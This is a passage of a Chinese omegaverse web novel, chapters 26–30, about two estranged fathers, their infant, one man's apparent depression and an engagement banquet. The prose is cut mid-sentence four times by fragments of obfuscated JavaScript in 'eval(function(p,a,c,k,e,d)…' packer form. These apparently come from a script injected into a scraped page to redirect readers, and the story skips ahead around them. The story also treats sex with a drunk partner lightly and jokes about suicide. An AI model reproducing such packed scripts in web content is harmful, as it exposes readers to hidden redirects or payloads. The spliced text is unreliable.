见谢不辞不接话,苏以安更是气不打一处开,他抓起身后的枕头朝旁边砸过去:“你再他妈想睡我你就去死!” 26. 第 26 章 谢不辞往远离苏以安那边的床边缩了缩,因为理亏,所以苏以安拿枕头砸他他也没躲。 趁人之危这种事情真的不太光彩,连谢不辞自己都觉得,无论苏以安现在有多生气都是理所应当的。 昨天谢不辞还想不明白为什么以前玩了那么多年,什么类型的都见过,他还偏偏只对苏以安念念不忘到毫无节制的程度。 现在他知道了。 他和苏以安之间,只有在这种时候才是最亲近最和谐的。 苏以安会在相连的时候抱住他的脖子,情到深处轻轻咬住他的锁骨,还呜咽着喊他的名字。 这是谢不辞知识范围以外的东西,他以前从来没想过,这种时候,居然是喊全名才显得最色情。 那些个喊哥哥喊老公的,跟这个相比完全都不在一个层级。 而且不强迫的话,苏以安不会很抗拒,他们也很合拍。 最主要的是,谢不辞对他,还挺真情实感的。 除了砸过来的那枕头,苏以安也没什么别的反应。 就在谢不辞犹豫着要不要道个歉的时候,苏以安已经面色平静的穿好了自己的衣服走下床。 “等下,你听我解释。” “不是我把你抢回来的,我问了你半天密码你不告诉我,我就只能先把你带过来……” “我真的是想好好照顾你来着,还给你煮了醒酒汤。” “虽然你也没喝上……” 谢不辞越说声音越小,觉得苏以安随时可能开口骂他。 但苏以安只是抬头看了他一眼:“嗯,知道了。” “你重新加热一下送到对门吧,懒得折腾的话不喝也行,把雪团接回来,带着孩子去对门找我。” 不对,这太不对劲了。 虽然谢不辞说不出苏以安什么反应才是正常的,但这么平静且完全不追究就是不对! “你……” “闭嘴,头疼死了不想理你。” 话音落下紧接着就响起了谢不辞卧室门被撞上的声音。 哦,这样啊。 谢不辞抓了一把自己刚睡醒乱七八糟的头发,连睡衣都懒得换,裹了个厚外套就抓着车钥匙按电梯下楼。 生怕回来晚了苏以安就反悔了。 这次起床的时间真的是早上,谢不辞回自己家别墅的时候刚好赶上雪团吃完早饭。 然后在谢夫人的视角看就是,谢不辞跟后边有人追他魂一样风风火火的跑进家门,还顶着个鸡窝头,脸没洗睡衣也没换,进门没搭理任何一个人,直接给孩子拿厚衣服,套上就要带孩子走。 “咋的?下边托关系了?对咱家不满意呗?” “不满意到投胎还得把你儿子带走?” 谢不辞头都没抬,给孩子穿衣服的动作也没停:“没有,我回来再跟你说啊妈。” 这话亲妈一听就知道肯定是没干好事,但觉得他都把孩子带走了,起码做什么会有点顾虑,索性也就没搭理他。 谢不辞喊走了家里一个司机,在回公寓的路上跟补课似的爬小群里的消息看他到底错过了昨天晚上多少剧情。 慈善晚会当晚没发什么奇怪的请柬,甚至连苏以安跟沈伊的订婚时间也没确定。 蒋泽说,他走了以后,晚会流程挺无聊的,也就是拍卖敬酒一些个没什么意义的情节,苏以安也没跟要玩命似的看见酒就往自己嘴里灌。 据说没急着订婚是因为沈伊给求了情,说想让苏以安把孩子的事情处理好了再说。 看到这的时候谢不辞还挺有危机感的。 沈伊是真的喜欢苏以安,他愿意给人绝对的尊重,哪怕他也知道,有这么一个孩子,苏以安就一定没法做到跟谢不辞老死不相往来。 但他还能尊重苏以安处理事情的方法与节奏。 单单是这一点,貌似就已经能甩谢不辞好几条街了。 抱着雪团上电梯,已经是一个小时之后的事情了。 敲了门以后,雪团刚看见苏以安就特别开心的喊爸爸,还专门伸出小手让苏以安抱。 谢不辞也带了孩子将近两个月,却几乎没遇上过这种待遇。 时间过得挺快的,一转眼雪团就已经八个月大了,有专门的育儿嫂带着,现在也开始能用单音节字或者不太完整的小短句表达自己想干什么了。 雪团在苏以安手里比在他手里活泼多了,而且不知道是不是分开了挺久的原因,谢不辞能看出来的苏以安再抱到雪团的时候挺高兴的。 谢不辞去对门自己家把昨天剩下的那锅醒酒汤倒掉,然后又准备材料煮了一锅新的。 端着醒酒汤重新站在苏以安面前之前,谢不辞还特意犹豫了一下要不要给钱。 这次是他有错在先,如果给了钱能让苏以安不那么介怀的话,他确实应该给。 而且他俩这个关系,奇不奇怪跟给不给钱好像也没什么关系。 只是谢不辞没料到,他把银行卡递到苏以安面前,苏以安却没要。 他看见银行卡的时候显示愣了一下,随后朝谢不辞开口:“这次就不要了,你收着吧。” “就当是我给雪团准备的压岁钱了。” 苏以安知道谢不辞在这方面给钱从来不含糊,也就没问到底有多少。 “那你……你什么时候走?” 谢不辞本来想问为什么一定要走,但话到了嘴边,想起这么多年苏以安过得有多辛苦,便觉得不合适,又硬生生咽了回去。 “明年春天吧。” 仔细想想,这地方确实没什么值得留恋的,但苏以安还想在这跟他爸过个年。 不然于他而言,真想走不是一个破户口能拦得住的。 他也很清楚,钟家只是需要一个名义上的omega来联姻罢了,他就算不在也不影响钟家利用他这个工具。 “去哪,往后做些什么,也都打算好了?” 苏以安看了一眼举着玩具拼图朝他笑的孩子,沉默许久才叹息似的挤出来一句:“没有。” “但是我不缺钱,我不会过得很艰难,我也一开始就和沈伊说得很明白了,我不想结婚。” “我已经很累了,放过我吧。” 之前那些介怀多年的,总在找幼稚方法报复做发泄口的,苏以安都已经懒得回忆了。 那会确实天天都有事情做,也无所谓自己是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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然后季文璟的消息继续发过来:[据我初步目测,结婚以后户口一定会变,他就能达到离开钟家的目的。] 之前苏以安提前说过找了张老板帮忙,虽然不知道要干什么,但前面都铺垫好了,谢不辞觉得怎么都不至于沦落到这一步。 [你是不是想说,他提前找过张老板了,张老板也答应了会帮忙?] [我爹说,这事张老板管不了,也从一开始就没准备插手,他是想玩最后一次,然后睡到苏以安就算翻篇。] [对了,补一句,当初传包养的时候,他们没睡过。] 谢不辞盯着屏幕沉默了许久。 张老板想玩完再过河拆桥,苏以安根本做不了什么,因为没有地位和能力抗争。 被骗身子也只能哑巴亏。 再加上苏以安那个什么事都做最坏打算坐万全准备的性格,他估计也早就做好了跟沈伊结婚的打算。 谢不辞在聊天框里打字:[那现在苏以安被骗到什么程度了?] 27. 第 27 章 [这个……你最好去问问当事人?] 谢不辞放下手机,在办公桌前撑着脑袋思考了很久。 他们俩这个关系,很多话直接说都是会起反作用的。 就比如他要是见面就跟苏以安说,他跟了六七年的老板想再玩最后一次就把他甩了,效果差不多等同于苏以安告诉他,他包养了很多年的小情人因为觉得他太抠门了想在床上把他废了。 最主要的是,季文璟说完以后,谢不辞还有点看不了别人欺负他老婆的感觉。 尤其对象还是癖好根本没法拿出来说的秃顶老头子。 后面谢不辞又问了蒋泽这种情况有没有比较推荐的语言艺术。 蒋泽回了他三个方法。 第一,换一个苏以安比较相信的人去传话,或者委婉的暗示一下点到为止,让苏以安自己决断。 第二,把苏以安关起来让他别跟张老板见面。 第三,管不了就别管。 …… 剩下的时间就算没有工作,谢不辞也还是老老实实的在办公室坐到了下班点。 冬天的晚上六点,天已经黑透了。 谢不辞上了电梯,才看见苏以安好几个小时之前发给他的消息。 是1501的门锁密码。 然后苏以安还说,要把雪团接走进了门直接抱就行,不要把他吵醒,他有起床气。 消息是中午一点半发的。 看起来有点像人家午觉都要睡醒了苏以安才刚开始睡,但后面因为谢不辞没回,他也就没再发。 谢不辞觉得直接开门可能显得有点不太礼貌,然后他把苏以安家当自己家一样,就又是一个挨骂的点。 他先顺着猫眼往里看了看。 里面黑漆漆的,什么都看不清,应该是一个灯都没开。 所以这个点还没开灯……真的是有人在家的吗? 仔细听一听,里面好像又有说话声传来。 想着苏以安不会把雪团单独留在家里,谢不辞重新找出聊天记录里的密码,打开了1501的门。 客厅里的电视是开着的。 谢不辞往里走了走,打开灯看见雪团坐在沙发上,手里攥着个小汽车玩具,自己乖乖缩在毯子里眼睛一眨不眨的看着电视。 因为光线的刺激,毯子里的人又往里缩了缩,然后扒出枕头底下的手机看了眼时间。 “把雪团抱走然后给他冲点奶粉,不用再送回来了。” 苏以安的声音有气无力的:“走了以后把灯关上。” “什么时候给孩子吃的午饭?” “中午给你发消息那会。” 谢不辞下意识觉得睡了一个下午还不起来就是生病了,他伸手掀开毯子在苏以安额头上试了试。 苏以安啧了一声把他扒拉开:“我没病,你老看我干嘛啊,看孩子去。” 温度是正常的。 可能是酒还没醒? 谢不辞原计划先给雪团弄点吃的再回来管苏以安的晚饭,但刚把孩子从毯子里抱起来,甚至都没抱到怀里,孩子就立马开始哭。 “不是……你认得我不?” “我又不偷你,你有啥可哭的?” 雪团自从到了谢不辞手里就几乎没哭过,只有刚到家那天谢不辞觉得自己在不在没区别跑出去了,才见他哭过。 之前雪团生病那次,照顾了好几天,孩子都特别好哄,吃药也不怎么需要操心。 所以这么忽然一哭,搞得谢不辞抱也不是不抱也不是,站在沙发跟前还怪手足无措的。 “要爸爸……” “我不是你爸吗??” 雪团说话还奶声奶气的,但发音异常清晰,带着哭腔,眼泪顺着肉乎乎的小脸滑下来,就那么看着你,要多可怜有多可怜。 他不搭理谢不辞这一套,只哭着把刚才的话又重复了一遍:“我跟爸爸……” 这下谢不辞听明白了。 孩子就算再小,也不是什么都不懂,苏以安下定决心要抛弃他,他能感觉到。 谢不辞把雪团重新放回沙发里,眼看着他伸出小手拽住苏以安的手指,然后止住哭声。 “你看,你不要他了他也能感觉到的。” 苏以安把雪团拢进毯子里,伸手给孩子把眼泪擦掉,含糊其辞的朝谢不辞指挥:“奶粉在厨房里,你去。” 谢不辞先是去对门给孩子找了冰箱里提前做好的辅食加热了一下,又带着奶瓶重新回了苏以安那。 不知道雪团有没有故意表现听话的意思,今天倒是没挑食,给什么吃什么。 但就谢不辞回趟对门的时间,苏以安还能继续扎在毯子里睡。 “你中午吃饭了没?” 问完了毯子里有动静,不过隔了有一会才回他:“没有。” “早上我走了开始睡的?” 苏以安还是没从被子里出来,就像接收消息有大延迟一般,隔了好几秒被子里才传出了一声嗯。 所以,是睡了一整天,连带着现在被吵醒这么多次也还是不愿意起来。 这根本不正常,晚上又不是没睡,怎么可能困到这份上? “起来我带你吃个饭,然后回卧室睡。” 没得到回应谢不辞直接把人捞起来。 然后苏以安就跟雪团刚到他家那会一样,怎么摆弄都配合,但就像个没有骨头的软体动物一样,整个人扒在谢不辞身上。 “不想吃,我真没病,雪团不跟你走你就在客厅睡。” 谢不辞没说话。 如果能确定身体上真的没什么疾病的话,那厌食嗜睡这种症状就更像是……抑郁症? 谢不辞觉得按最近堆在苏以安面前那些杂七杂八的事情来看,抑郁好像也不是什么稀奇事。 跟雪团商量了半天不会带走他,才先把他送进了卧室。 但谢不辞连门都没关,转身准备出去把老婆带进来,还没走两步,就又听见了雪团的哭声。 ……两个祖宗。 他都不敢想以后家里供两个,一天天的得多热闹。 根本没心思想有的没的,因为都哄不过来。 把苏以安也带回卧室,谢不辞还特意帮他把被子给盖严实了,把雪团哄好,才轻轻关上卧室门,在客厅拨了沈伊的号码。 也不是专门为了质问,他就是单纯认为,天都完全黑了,摇个靠谱的医生过来总好过带着不太愿意配合的老婆孩子一块去医院。 沈伊那边接了电话还没开口,谢不辞立马抢先:“来一趟苏以安家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他跟谢不辞一样,先伸手试了试苏以安额头的温度,见确实正常才搭上手腕处的脉搏。 “呦,博士生还会中医把脉呢?” 沈伊回过头白了他一眼:“你叫的上名字的我都会。” “你快别装了,看出啥来了快讲讲。” 两只手的脉都搭过了以后,沈伊把苏以安的手都轻轻塞回被子里。 “没感觉到有什么明显的病,觉得是白血病的话,不验血也没法确诊,要真像你说的那样,是抑郁一类的心理疾病……” “那只要他脱离这个城市,顺带再躲你这么个阴魂不散的东西远点,没什么好不了的。” 以前沈伊骂他还知道隐晦一点搞指桑骂槐那一套,现在直接开始指名道姓。 谢不辞哪能受得了这种委屈,回怼得也毫不客气:“他在A国跟着你也没见过得有多好,你要不整逼婚这一套能出这种事吗。” “什么叫我逼婚,整个富人圈你能找得出几个比我更适合结婚的?” 这句还没来得及反驳,床上另一侧的枕头就从沈伊和谢不辞两人中间穿过,砸到了身后的柜子上。 “你俩滚出去吵。” 28. 第 28 章 谢不辞跟沈伊面面相觑了半天,随后沈伊熄掉了床头柜上的灯,扯着谢不辞的袖子把人往外拽。 两人都出去以后,沈伊还轻手轻脚的关上了卧室的门。 出门以后沈伊刚要说话,谢不辞便在他身后幽幽开口:“灯关了他是睡上了,你也不怕孩子哭?” …… “那我再进去打开?” “可是小安刚才是真的有点凶,他之前从来没这样过。” 也不知道这话到底是哪戳到谢不辞了,反正他回话的时候语气里带着控制不住的得意:“嘿,真没见识。” “什么他从来没这样过,他对我一直都是这样的。” 在外人眼里,苏以安文文静静的,脾气很好待人温和,从不与人起冲突还万事好商量。 偏偏对谢不辞不一样。 换个角度想想,这不就是觉得谢不辞和所有人都不一样吗,对别人都是伪装,只有面对谢不辞的时候才会展现比较真实的一面,可以毫无顾忌的闹脾气。 这不是真爱是什么! 沈伊闻言皱着眉神色复杂的望向谢不辞,犹豫片刻才试探性的开口:“这是什么值得炫耀的事情吗哥们?” “你好挨骂这口?” 觉得这不是重点,也没有必要顺着这个话题讨论下去,沈伊紧接着继续道:“我过来之前他跟你说什么了?有没有一些消极厌世的念头之类的?” “什么也没说。” 谢不辞发誓,这绝对是真情实感的大实话,因为苏以安有话也不会主动跟他说。 都快到爱极生恨那地步了。 现在也不早了,虽然晚上七点半恨不得刚到晚饭点,但让沈伊这种陌生alpha留在苏以安家里也不像话。 于是谢不辞开始各种找借口想把沈伊轰出去。 他喊人过来的时候,是觉得苏以安需要的是个医生,不是杂七杂八的alpha。 “你有没有什么注意事项类的医嘱,有的话就赶紧交代,没有你就走吧,大晚上在人家omega家里像什么样子。” 沈伊把自己当成是未婚夫,自然是不服谢不辞的。 良好的职业素养让他懒得在这种时候拌嘴:“脸色是正常的,说明没有什么急病,脉象也没什么太大问题,这种情况我们能给出的医嘱就只有……” “戒酒。” “然后注意一下他的精神状态。” 谢不辞点了点头,在他话音完全落下以后打开大门,还特别有礼貌的对他做了个请的手势。 “别看我,沈少爷你也知道的,我这人不要脸,我跟苏以安都打了这么多年了,该做的不该做的都做遍了,我们都无所谓外面怎么说。” “但是人家生病呢,你也不想在他心里落得个招人烦的印象吧?” “没什么大事可是你自己说的,所以您还是早点回去吧。” 说完谢不辞也没管沈伊是个什么反应,直接连拖带拽的把人扔出了大门。 沈伊会在乎弄出动静把苏以安吵醒,他会在乎苏以安不高兴怎么办,所以特别好拿捏,赶人的工作开展得也并不困难。 雪团自送到谢不辞手中就一直都可以睡整夜觉,谢不辞倒是也不是很担心,只是觉得把他跟孩子单独扔在这里看多少显得有点不负责任,随后就去对门自己找了被子窝在沙发上。 第二天一大早,谢不辞专门买了早饭带过来,还特别认真的控制了给雪团冲奶粉的水温。 这次倒不至于叫不起来苏以安,但人起床的时候不情不愿,神情恹恹的。 早饭也没吃两口就放下了,谢不辞跟他说话他也爱答不理。 问就是没生病,除了很累身上没什么力气以外没什么不舒服的。 以前也不是没喝过酒,或者换句话说,他俩也不是没睡过,这次到底哪里出了问题真的不太好猜…… 谢不辞还想再唠叨两句,但看见苏以安那个想把全世界都杀了的表情,又只能把话都默默咽了回去。 临上班之前谢不辞原想像以前一样,把雪团带走,但孩子现在完全不让他碰,一抱就哭。 给谢不辞一种再这样下去老婆孩子都要没了的危机感。 毕竟在这个年代,老婆带着孩子改嫁根本算不得什么稀奇事。 去对门换了身衣服,又给雪团拿了厚衣服过来,磨磨蹭蹭的待到了上班点,谢不辞才敢临走之前扯一扯苏以安的袖子,小声开口嘟囔。 “现在走了我晚上跟还能来找你吗。” 苏以安看向他的时候,为了防止挨骂,谢不辞立马松开扯着袖子的手,还后退了小半步。 “你现在去把你家门打开吧,我不过去雪团肯定不愿意在你家待着,晚上他睡着了我再走。” 不知道是不是不想耽误谢不辞上班,这会苏以安动作很快,裹个外套就开门就进走廊。 谢不辞心情有点复杂。 他没接话,看着苏以安带雪团进了自己家,才按电梯走下去。 今天公司依旧不忙,恰好给谢不辞留下了充分的胡思乱想时间。 他点开小群,里面没有新的消息。 他索性直接一个@全体成员,然后打电话把蒋泽和季文璟都扒拉起来。 问季文璟他爹那边有没有什么新动静,问蒋泽老婆铁了心不要孩子不要他该怎么办。 群里的回复先是多了两串省略号。 可能都觉得他有病,不过谢不辞不在乎,送了他俩两个拍一拍,然后继续问题骚扰。 季文璟打字比较快,先回了谢不辞上面问他爹有没有什么新动静的消息:[包养了好几个大学生,具体懒得问,但是他说,张老板最近脾气很不好,尤其是今天。] 谢不辞刚敲好的问号甚至还没发出去,就收到了意料之外的消息:[因为苏以安拒绝了他,没给理由,就说不想见。] 这下谢不辞疑惑。 知道张老板图谋不轨之后,他好像还……没来得及开始暗示呢。 紧接着蒋泽就打趣:[谢哥效率可以啊,怎么拉扯暗示的我听听。] 谢不辞回了一句还没说,就开始催蒋泽问苏以安一定要走他应该怎么办。 但发音隔了好久也没收到回复。 蒋泽是毕业以后开始创业的,业务做的新媒体方向,忙起来可能十天八天找不到人,不忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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依旧是醒了就哭,无论谢不辞用什么方法都哄不好,之前最喜欢的玩具递到手里都直接扔掉,哭得整张小脸都是红的。 还攥着谢不辞的手用带着哭腔的声音央求他:“你带我找爸爸。” 孩子的眼泪擦都擦不完,谢不辞叹了口气,给雪团套了厚衣服,又抱着他去敲对面的门。 孩子的哭声在走廊里还挺突兀的,按谢不辞以往的经验来看,苏以安不会听不到孩子哭。 但门敲了两遍都没人回应。 他忽然有种不好的预感,于是没再犹豫,输密码打开房门。 客厅里没有人就想进卧室找,可卧室门是反锁的。 谢不辞有些焦急的拍了拍门,问苏以安在不在里面,雪团也特别配合的隔着那扇门喊了两声爸爸。 只是卧室里没有一点动静传出来。 那一瞬间谢不辞脑子里闪过了无数种可能。 割腕,跳楼,安眠药…… 他又用力拍了拍门,没听到回应便开始寻找能砸门的东西。 29. 第 29 章 这会雪团也不哭了。 谢不辞特别确定苏以安一定在里面,因为他现在身上还残留着苏以安信息素的味道,自然对这味道敏感度比较高。 一个人在家,还要把门反锁,不像没有危险的。 他在客厅环视了一圈,最终把视线落在了阳台上那看起来就沉重的铁画架子上。 那是谢不辞之前帮苏以安抬进来的,很重,目测用来砸门的话,效果应该能赶上锤子。 他把雪团放在沙发上,然后抄起阳台上的金属制画架子往卧室门口走。 他在门前站定,砸门的动作还没落下,卧室门就从里面打开。 紧接着他就与斜靠在门框上挑眉看向他的苏以安沉默着对视。 “你干嘛?” “那个……你……你在卧室锁什么门?” 气氛挺怪异的,把东西放下,给谢不辞尴尬得差点话都说不利索。 苏以安好整以暇的注视着他,语气里也带上了揶揄:“你不觉得你来得有点不巧吗谢经理,这个点能因为什么锁门啊。” “那当然是在偷人了。” 最后一句话里的语气是谢不辞从来没见过的轻佻,他说完还轻笑着伸手替谢不辞整理了一下不知道什么时候乱掉的衣领。 随后苏以安揪着谢不辞的衣领往前走了小半步,拉近了二人之间的距离。 谢不辞低下头,便能看见他纤长的睫毛。 因为离得近,一呼一吸间,气息完全交融在一起,让谢不辞大脑都有些宕机。 “怎么,谢经理这么着急忙慌的,是来怕晚了就加入不了我们了吗。” 就算明知道苏以安是故意的,谢不辞也还是觉得心里不舒服。 “这么多年过去了还天天玩这么花?吃得消吗。” “要是你这种程度的,再来十个也就那么回事,不然你进去跟人家学习学习,也省的这么多年过去还毫无长进。” 明明是在互相阴阳怪气,但谢不辞就好像打嘴仗永远都打不赢一样,尤其是在这种苏以安话里话外攻击性都很强的情况下。 谢不辞很清楚对方是在挑衅,但他从没见过苏以安在那些钓鱼对象面前是什么样子,以至于现在他都有些怀疑那屋里绝对没有人的判断是不是错的。 这会被放在沙发上的雪团声音清脆的喊了一声爸爸,还举起被厚衣服包裹得严严实实的小手示意苏以安抱他。 谢不辞趁着苏以安去看雪团的空,真的不信邪的进了卧室。 然后把柜子里,窗帘后,床底下这种看起来就能藏人的地方都找了一遍,确定了确实看不见人以后,才后知后觉的意识到,要是有人苏以安好像也没必要在他面前遮遮掩掩。 这下谢不辞倚在卧室门边,看向伸手捏雪团小脸的苏以安:“那你到底在里面干什么?有什么见不得人的还需要锁门?” “那你觉得我在干什么?” “自……杀?” 在苏以安低下头面无表情沉默不语的那段时间里,谢不辞甚至觉得自己猜对了,后面要开始进行煽情环节了,哪知苏以安张嘴就是新惊喜。 “这么担心我啊?” “那我安排一下,择日不如撞日,就明天吧。” “明天我抱着雪团,去你公司门口,哭天喊地的抱怨你是个去母留子的渣男,一点钱都不给,白嫖一个孩子,再当着你一大群员工的面对你的人品床品三观和处事态度一顿输出。” “最后吊死在你办公楼底下。” “这套方案满意吗谢经理。” 谢不辞:…… 不开玩笑,苏以安现在对他像吃了枪药一样。 但现在不是睡觉点,不存在他着急忙慌把苏以安吵起来的情况,而他们最近明面上也没发生什么冲突。 他猜不到为什么。 硬要说的话那大概就是,他给煮醒酒汤的时候因为技术太差分不清刷锅水和煮好的汤,然后把醒酒汤倒了? 当时苏以安皱着眉把他轰出去。 就导致谢不辞也没好意思说,其实倒没倒错味道都大差不差的,只是刷锅水里多了一丢丢的洗洁精味。 苏以安以为他是故意的,但这个他真冤枉。 “我又哪里惹到你了?” “你能有什么惹到我的。” 最开始苏以安刚出门的那会,说是偷人还故意撩拨,谢不辞都以为他是在调情。 后面也不知道是哪句话没说对气氛就开始不对劲,以至于演化到现在,也不知道怎么说着说着就好像要急了。 苏以安抱着雪团重新回了卧室,临关门前,还客客气气的让谢不辞出去以后把门给他关好。 谢不辞觉得,他俩之间,似乎又多了什么新误会。 而众所周知,阴阳怪气也是从特定角度切入的,那代入一下公式就应该是,苏以安拿以前乱玩的状态去挑逗他,是为了暗示他别在这方面多管闲事? 最近几天,苏以安接触得最多的应该就是沈伊和张老板。 再结合季文璟透露给他的,苏以安单方面拒绝了张老板的消息…… 谢不辞刚想开口,耳边就传来了关门声,他想伸手拦一下,动作却慢了半拍。 “我没在你老板面前胡言乱语,这事跟我没关系,我还没来得及掺和呢。” 里面安静了几秒,就在谢不辞觉得苏以安不会再回应他了的时候,隔着沉闷的门板传来了听不清情绪的三个字:“赶紧滚。” 很好,没猜对。 回了自己家以后谢不辞还特意复盘了好几遍这短短几句话的交流他又哪里踩了苏以安的雷点,不过什么都没发现。 他一共只说了三四句话,这能犯什么大错啊? 真能的话,那他这张嘴也太牛逼了。 后面几天,雪团都跟着苏以安,很规律的白天养在谢不辞家,晚上苏以安再带回对门睡。 苏以安对他的态度也时好时坏的,有的时候上一秒还在好好说话,下一秒就不爱搭理他了。 搞得谢不辞话出口之前都得小心翼翼的斟酌好几遍,生怕惹苏以安不高兴。 然后苏以安还会时不时的提一些莫名其妙的要求,谢不辞满足不了就又会被冷落好长时间。 可能谢不辞这个人的脑回路就是不太正常,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“苏以安跟张老板不知道因为什么闹得很不愉快,所以订婚宴有张老板专门施压才必须要定的成分在。” “前几天钟家那个大儿子跟苏以安起冲突,然后苏以安那个名义上的大哥给了他一巴掌,没有原因,钟家还拉偏架。” 这里没明说,但谢不辞听出弦外之音了。 就是苏以安主动答应走个过场,然后靠跟沈伊结婚把户口迁出来,能摆脱钟家就好。 可是,治标不治本。 都知道他们这边律法极其重视是不是亲生,所以钟家不会轻易放过苏以安。 逃避永远不是解决问题的办法。 那现在,就到了谢不辞表现的时候了。 “你刚说谁给苏以安一巴掌?” 谢不辞深吸一口气,手指摩挲着邀请函上镌刻的苏以安那个名字,然后对着电话那头淡淡开口:“咱玩票大的,这口气我一定给他出了。” 30. 第 30 章 要玩多大要干什么谢不辞都没说,但蒋泽也能猜得大差不差,在电话里沉默了几秒,沉声道:“你要考虑清楚,跟人家拼命你也捞不到什么好。” 谢不辞这人虽然冲动,但在需要做关键决策的时候也不会意气用事。 他是想,一劳永逸的替苏以安解决掉被钟家威胁的麻烦。 而且他很清楚,跟无赖没法讲道理,也没办法用正常人思维解决问题。 所以唯一的方法就是,搞垮钟家,让钟家不具备继续要挟苏以安的权势。 而把人往死路上逼,是商场的大忌。 鱼死网破对谢不辞绝对没有好处,因为目前来讲,谢不辞是二世祖,他家的公司主要还是他爸在管,他算不得传说中的霸总。 “那我也不能什么都不做。” “想把人留下,好歹得展示一下诚意吧?” 蒋泽可能真的挺忙的,也没再跟他探讨什么,告诉他有什么需要帮忙的直接开口,就匆匆挂了电话。 除了蒋泽和季文璟这两个朋友,谢不辞很少对身边哪个人上心。 或许海王从良这四个字听起来挺扯淡的,但真的经历过就会发现,人与人之间的缘分,其实早就注定了。 谢不辞什么形形色色的人都见过,甚至说不好听一点该睡的也都睡差不多了,可除了苏以安这个他高中时期第一眼见到就心动的,没有谁能让他心甘情愿赴汤蹈火。 半个多月的时间过得很快,今天谢不辞回家的时候,正好赶上育儿嫂带着雪团从楼下晒太阳回来。 雪团手里拿着两根小花,看见他主动喊他爸爸,还特别清楚说要把小花送他。 他接过来仔细看了看,是两根蓝色的满天星。 一看就是专门买的。 就两根,没什么必要专门插起来,看着倒更像是,苏以安为了订婚宴去花店这样的地方,然后哄雪团的时候顺便揪了两根满天星给他。 现在他特别大方的送给了谢不辞。 谢不辞倒是没因为这个不高兴。 alpha嘛,就是要大度,区区一个订婚宴而已,扯了证都还能离呢。 后面谢不辞也尝试过在元旦之前跟苏以安谈谈,只不过每次都是刚见面,苏以安就赶他走。 以不想跟他说话为理由。 所以谢不辞努力了很多次,却绝大多数都是连苏以安的面都见不着。 事后谢不辞的秘书还故意不经意的,泄露了点工作群里那“不为人知”的八卦: 谢不辞加班到大半夜那几天,苏以安来公司写字楼找过他,但那会公司很忙,前台要接待的老板很多,所以苏以安过来那会,恰巧被暗恋他的小助理给打发走了。 谢不辞看见秘书消息的时候只觉得脑瓜子嗡嗡的。 暗恋他的小助理,那能说什么好听话啊。 不用想就知道苏以安绝对把这一笔记在了他脑瓜子上。 三天时间,说长不长,说短也不短。 起码抢地皮跟对方公司抢投资这种事,这么点时间肯定看不见成效。 但谢不辞想尽办法骚扰苏以安却连面都见不上,体感上就从来没觉得三天可以这么难熬过。 元旦这天,谢不辞把雪团送到了他们家的别墅,还特意留出了两个小时的时间听他妈一边唠叨他一边骂他。 换好正装离开家之前,谢不辞又仔细看了看那张订婚宴的邀请函。 正红色没得挑他才没吐槽,然后请柬上的鸳鸯图案,手写的毛笔字和开页设计这种能找茬的他都没放过,在车上对着空气和他根本不熟的司机骂骂咧咧了半天,给人家司机吓得到地方停了车都不敢喊他。 这次的宴会厅也很热闹。 能看得出来钟家是真的很想攀附沈家,连订婚宴都搞得异常重视。 宾客请来了不少,谢不辞下车那会还看见有三三两两眼熟的老总从宴会厅正门走进去。 厅内放着悠扬浪漫的钢琴曲,提前到场的人都拿着酒杯闲聊客套。 要不是透着钢琴声都能听到不远处带着自己名字的窃窃私语,谢不辞甚至都怀疑他就这么一个人进来,是不是根本没人注意到他。 本着没人主动招惹到面前来,就谁都不要搭理的原则,谢不辞在大厅里转悠了一大圈,也没看见应该主动招待人的两个主角。 他给苏以安发了消息,但没收到回复。 因为上边还有他发的几十条消息,所以也不显得这一条底下没有白色气泡突兀。 觉得自己在场气氛始终尴尬,谢不辞就拿着手机准备去厕所抽根烟先冷静一下。 他倒也不是想砸场子或者干抢婚这种听起来就让人觉得无语的脑残事,只是觉得到这一定能见到人,他想看看苏以安怎么样了。 毕竟前几天听育儿嫂说苏以安脸色不太好。 谢不辞一边走一边翻口袋里的烟,临到卫生间门口,还没把烟点上就听见了里面传来的流水声。 他正纠结着要不要换到楼梯口去抽,就跟从里面出来的人打了个照面。 那人穿着藏青色的西装,刘海上还挂着水珠。 那人没有抬头,注意到谢不辞以后自觉想绕开,但还没往外走两步就又弯着腰捂住口鼻跑回了卫生间。 谢不辞站在原地没动。 光是听声音就能感觉到刚才那人吐得很难受,好像要把心肝脾肺肾全吐出来才罢休一般。 可是,谢不辞只是没来得及说话,并不代表他没认出那是苏以安。 他把刚拿出的烟塞回口袋里,然后走进去看了苏以安一眼。 他进去的时候苏以安半靠在洗手台上,因为支撑不住身体的重量,显得整个人都摇摇欲坠的。 谢不辞先是出去跟服务员要了瓶矿泉水,见苏以安脸色缓和了些才拧开瓶盖递了过去。 “你什么身体底子都这样了还喝酒?” “这场合沈伊都没点要给你挡酒的眼力见,这人也就那么回事啊。” 苏以安接过矿泉水,漱了漱口又把水递回去:“我没喝。” “没喝还至于吐成这样?” 谢不辞没信,苏以安也没再搭理他,自顾自的往外走。 “你不会还要回去继续喝吧?” 